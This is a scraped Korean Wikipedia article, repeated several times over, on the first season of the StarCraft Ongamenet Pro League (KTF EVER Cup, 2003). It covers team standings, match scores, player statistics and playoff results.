28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 이창훈(Z) 동양 오리온 7 4 3 57.1% 5 백영민(P), 조용성(Z) IS 3 3 0 100% 6 장진남(Z), 조정현(T) AMD 드림팀 6 3 3 50% 7 김종성(T), 백영민(P) IS 4 2 2 50% 8 6조합 1 1 0 100% 9 3조합 2 1 1 50% 10 2조합 3 1 2 66.6% 포스트시즌[편집]   준플레이오프     플레이오프     결승전                                   2  동양 오리온 3     3  KTF 매직엔스 3      KTF 매직엔스 1       4  GO 0          동양 오리온 4        한빛 스타즈 1       1  한빛 스타즈                 일정 : 준플레이오프 - 2003년 8월 2일, 플레이오프 - 2003년 8월 9일, 결승전 - 2003년 8월 30일[1] KTF EVER컵 온게임넷 프로리그 준플레이오프 경기 목록 순 선수 맵 선수 1 성준모 승 신 개마고원 패 서지훈 2 송병석, 홍진호 승 Huntress 패 강민, 이재훈 3 홍진호 승 Guillotine 패 김근백 4 - - - - 5 - - - - KTF EVER컵 온게임넷 프로리그 플레이오프 경기 목록 순 선수 맵 선수 1 임요환 승 신 개마고원 패 홍진호 2 박용욱, 이창훈 패 Huntress 승 송병석, 홍진호 3 최연성 승 Guillotine 패 성준모 4 박용욱, 이창훈 승 Neo Jungle Story 패 김정민, 홍진호 5 김현진 - Nostalgia - 이윤열 KTF EVER컵 온게임넷 프로리그 결승전 경기 목록 순 선수 맵 선수 1 변길섭 패 Neo Bifrost 승 임요환 2 강도경, 박정석 승 Huntress 패 이창훈, 최연성 3 박정석 패 Guillotine 승 이창훈 4 강도경, 박정석 패 Neo Jungle Story 승 이창훈, 임요환 5 나도현 패 신 개마고원 승 박용욱 6 강도경, 박정석 - Huntress - 이창훈 김성제 7 박경락 - Nostalgia - 최연성 대회 결과[편집] 최종결과 우승 : 동양 오리온 , 준우승 : 한빛 스타즈 , 3위 : KTF 매직엔스 , 4위 : GO 각주[편집] ↑ 8월 23일에 경기예정 이었으나, 폭우로인해 변경되었다. KeSPA 프로리그 이전 작품 작품명 다음 작품 프로리그 시작 KTF EVER컵 온게임넷 프로리그(2003.03.01 ~ 2003.08.30) Neowiz Pmang컵 온게임넷 프로리그(2003.10.11 ~ 2004.02.29) vdeh 역대 스타크래프트 프로리그2003년~2005년 2003 KTF EVER(예선) 2003 Neowiz Pmang(예선) 2004 SKY 1라운드 2004 SKY 2라운드 2004 SKY 3라운드 2004 SKY 그랜드 파이널 2005년~2007년 SKY 2005 전기 SKY 2005 후기 SKY 2005 그랜드파이널 SKY 2006 전기 SKY 2006 후기 SKY 2006 통합챔피언전 2007년~2008년 2007 신한은행 전기 2007 신한은행 후기 신한은행 2007 통합챔피언전 2008 신한은행 2008년~2011년 08-09 신한은행 09-10 신한은행 10-11 신한은행 2011년~2013년 11-12 SK플래닛 2012 SK플래닛 12-13 SK플래닛 2013년~2016년 2014 SK텔레콤 2015 SK텔레콤 2016 SK텔레콤 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KTF_EVER컵_온게임넷_프로리그&oldid=19906059" 분류: 스타크래프트 프로리그2003년 이스포츠 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 11월 2일 (목) 21:58에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KTF EVER컵 온게임넷 프로리그 - 위키백과, 우리 모두의 백과사전 KTF EVER컵 온게임넷 프로리그 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KTF 에버컵 온게임넷 프로리그KTF EVER Cup Ongamenet Pro League 대회 정보차수 제1회 대회기간 2003년 3월 1일 ~ 2003년 8월 30일주관방송사 온게임넷스폰서 KTF EVER참가팀 10팀 (본선 8팀) KTF 매직엔스 한빛 스타즈 동양 오리온 G.O AMD 드림팀 삼성전자 칸 KOR IS SouL (예선 탈락) P.O.S (예선 탈락)경기방식 8개팀 풀리그 후 상위 6팀 2라운드 진출2라운드 6개팀 풀리그 후 상위 1팀 결승진출2라운드 3-4위 5전 3선승 준플레이오프 후 승자 플레이오프 진출최종 플레이오프 결승전 7전 4선승제공식맵 신 개마고원(예선:개마고원)NostalgiaGuillotineNeo BifrostHuntress (팀플레이)Neo Jungle Story (팀플레이)Neo Lost Temple (예선 팀플레이)경기장소 서울 삼성동 코엑스 메가웹스테이션 결승전장소 서울 올림픽공원 평화의 광장해설 전용준 (캐스터) 김동수 (해설) 김도형 (해설)최종 순위우승 동양 오리온 (1번째 우승)준우승 한빛 스타즈3위 KTF 매직엔스4위 G.O개인수상 및 통계결승MVP 이창훈Z (동양 오리온)결승전 2승 1패개인전 1승 0패팀플레이 1승 1패최다승 최연성T (동양 오리온)8승 1패신인상 최연성T (동양 오리온)8승 1패승률1위 개인전: 최연성T (동양 오리온)88.9%, 8승 1패팀플레이: 강도경Z, 박정석P (한빛 스타즈)83.3%, 10승 2패감독상 주훈 (동양 오리온)이전 대회 / 다음 대회 네오위즈 피망컵 2003-04 → KTF EVER컵 온게임넷 프로리그(KTF EVER Cup Ongamenet Pro League)는 프로리그의 첫 번째 시즌이다. 목차 1 예선 2 정규리그 순위 3 라운드 별 순위 3.1 1라운드 3.2 2라운드 4 정규리그 선수 통계 4.1 전체 종합 4.2 개인전 순위 4.3 팀플전 순위 4.4 팀플 조합 순위 5 포스트시즌 6 대회 결과 7 각주 예선[편집] 이 부분의 본문은 KTF EVER컵 온게임넷 프로리그/예선입니다. 10팀은 2팀씩 5조로 나뉘어 5전 3선승제로 경기. (개인전 4경기, 팀플레이 1경기) 승리한 5팀은 예선 통과. 패한 팀 중 소속 선수 최상위 랭킹 3명의 랭킹이 높은 팀은 부전승으로 예선 통과. 나머지 4팀은 2조로 나뉘어 5전 3선승제로 경기를 치른 후 승리한 팀 2팀이 최종적으로 본선에 합류한다. 맵 1,2경기 개인전: 개마고원 3경기 팀플레이: Neo Lost Temple 4,5경기 개인전: Neo Bifrost 예선 결과 순위 팀 진출여부 1 KTF 매직엔스 A조 통과 1 IS B조 통과 1 동양 오리온 C조 통과 1 G.O D조 통과 1 AMD 드림팀 E조 통과 6 한빛 스타즈 패자 부전승 7 삼성전자 칸 패자A조 통과 7 KOR 패자B조 통과 9 P.O.S 예선 탈락 9 SouL 예선 탈락 정규리그 순위[편집] 순위기준: 다승 → 승점 → 승자승 순 순위 팀 경기수 승 패 승률 승점 1 한빛 스타즈 12 9 3 75% 25 2 동양 오리온 12 8 4 66.7% 23 3 KTF 매직엔스 12 8 4 66.7% 20 4 G.O 12 7 5 58.3% 18 5 IS 12 4 8 33.3% 16 6 AMD 드림팀 12 3 9 25% 11 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 라운드 별 순위[편집] 1라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 KTF 매직엔스 7 6 1 85.7% 14 2라운드 진출 2 동양 오리온 7 5 2 71.4% 13 2라운드 진출 3 GO 7 4 3 57.1% 11 2라운드 진출 4 한빛 스타즈 7 4 3 57.1% 11 2라운드 진출 5 AMD 드림팀 7 3 4 42.9% 10 2라운드 진출 6 IS 7 2 5 28.6% 9 2라운드 진출 7 삼성전자 칸 7 2 5 28.6% 8 8 KOR 7 2 5 28.6% 8 1라운드 경기 세부 주차 일정 팀 스코어 팀 1 3월 1일 KTF 매직엔스 2 - 1 AMD 드림팀 GO 2 - 1 IS 2 3월 8일 한빛 스타즈 2 - 1 삼성전자 칸 동양 오리온 2 - 1 KOR 3 3월 15일 동양 오리온 1 - 2 KTF 매직엔스 AMD 드림팀 2 - 1 IS 4 3월 22일 한빛 스타즈 1 - 2 GO 삼성전자 칸 2 - 1 KOR 5 3월 29일 KOR 0 - 3 KTF 매직엔스 삼성전자 칸 3 - 0 GO 6 4월 5일 IS 1 - 2 한빛 스타즈 AMD 드림팀 1 - 2 동양 오리온 7 4월 12일 KTF 매직엔스 2 - 1 GO AMD 드림팀 2 - 1 KOR 8 4월 19일 IS 3 - 0 삼성전자 칸 동양 오리온 2 - 1 한빛 스타즈 9 4월 26일 삼성전자 칸 1 - 2 KTF 매직엔스 GO 1 - 2 KOR 10 5월 3일 한빛 스타즈 2 - 1 AMD 드림팀 동양 오리온 3 - 0 IS 11 5월 10일 AMD 드림팀 2 - 1 삼성전자 칸 KTF 매직엔스 1 - 2 한빛 스타즈 12 5월 17일 IS 2 - 1 KOR GO 2 - 1 AMD 드림팀 13 5월 24일 KTF 매직엔스 2 - 1 IS GO 3 - 0 동양 오리온 14 5월 31일 한빛 스타즈 1 - 2 KOR 삼성전자 칸 0 - 3 동양 오리온 2라운드[편집] 순위 팀 경기수 승 패 승률 승점 진출여부 1 한빛 스타즈 5 5 0 100% 14 결승 직행 2 동양 오리온 5 3 2 60% 10 플레이오프 진출 3 KTF 매직엔스 5 3 2 60% 7 준플레이오프 진출 4 G.O 5 2 3 40% 7 준플레이오프 진출 5 IS 5 2 3 40% 6 6 AMD 드림팀 5 0 5 0% 1 2라운드 경기 세부 주차 일정 팀 스코어 팀 15 6월 7일 KTF 매직엔스 1 - 2 GO 동양 오리온 3 - 0 AMD 드림팀 16 6월 14일 KTF 매직엔스 2 - 1 IS 한빛 스타즈 2 - 1 동양 오리온 17 6월 21일 IS 2 - 1 동양 오리온 한빛 스타즈 3 - 0 AMD 드림팀 18 6월 28일 KTF 매직엔스 0 - 3 한빛 스타즈 IS 1 - 2 GO 19 7월 5일 AMD 드림팀 0 - 3 GO 한빛 스타즈 3 - 0 IS 20 7월 11일 IS 3 - 0 AMD 드림팀 GO 0 - 3 동양 오리온 21 7월 19일 GO 0 - 3 한빛 스타즈 AMD 드림팀 1 - 2 KTF 매직엔스 22 7월 26일 동양 오리온 2 - 1 KTF 매직엔스 정규리그 선수 통계[편집] 정규리그 성적만 포함 전체 종합[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 18 15 3 83.3% 2 강도경(Z) 한빛 스타즈 13 11 2 84.6% 3 송병석(P) KTF 매직엔스 15 10 5 66.6% 4 이재훈(P) G.O 18 10 8 55.5% 5 홍진호(Z) KTF 매직엔스 16 9 7 56.2% 6 임요환(T) 동양 오리온 9 7 2 77.7% 7 최연성(T) 동양 오리온 9 7 2 77.7% 8 이창훈(Z) 동양 오리온 12 7 5 58.3% 9 강민(P) G.O 10 6 4 60% 10 2명의 선수 11 6 5 54.5% 개인전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 최연성(T) 동양 오리온 8 7 1 87.5% 2 성학승(Z) IS 11 6 5 54.5% 3 박정석(P) KTF 매직엔스 6 5 1 83.3% 4 임요환(T) 동양 오리온 7 5 2 71.4% 5 이재훈(P) G.O 8 5 3 62.5% 6 베르트랑(T) AMD 드림팀 10 5 5 50% 7 주진철(Z) KOR 5 4 1 80% 8 나도현(T) 한빛 스타즈 6 4 2 66.6% 9 서지훈(T) G.O 7 4 3 57.1% 10 이윤열(T) KTF 매직엔스 9 4 5 44.4% 팀플전 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강도경(Z) 한빛 스타즈 12 10 2 83.3% 3 송병석(P) KTF 매직엔스 11 7 4 63.6% 4 홍진호(Z) KTF 매직엔스 10 6 4 60% 5 강민(P) GO 9 5 4 55.5% 6 김성제(P) 동양 오리온 9 5 4 55.5% 7 이재훈(P) G.O 10 5 5 50% 8 백영민(P) IS 10 5 5 50% 9 이창훈(Z) 동양 오리온 8 4 4 50% 10 조용성(Z) IS 3 3 0 100% 팀플 조합 순위[편집] 순위 선수 이름 소속팀 경기수 승 패 승률 1 강도경(Z), 박정석(P) 한빛 스타즈 12 10 2 83.3% 2 강민(P), 이재훈(P) GO 8 5 3 62.5% 3 송병석(P), 홍진호(Z) KTF 매직엔스 9 5 4 55.5% 4 김성제(P), 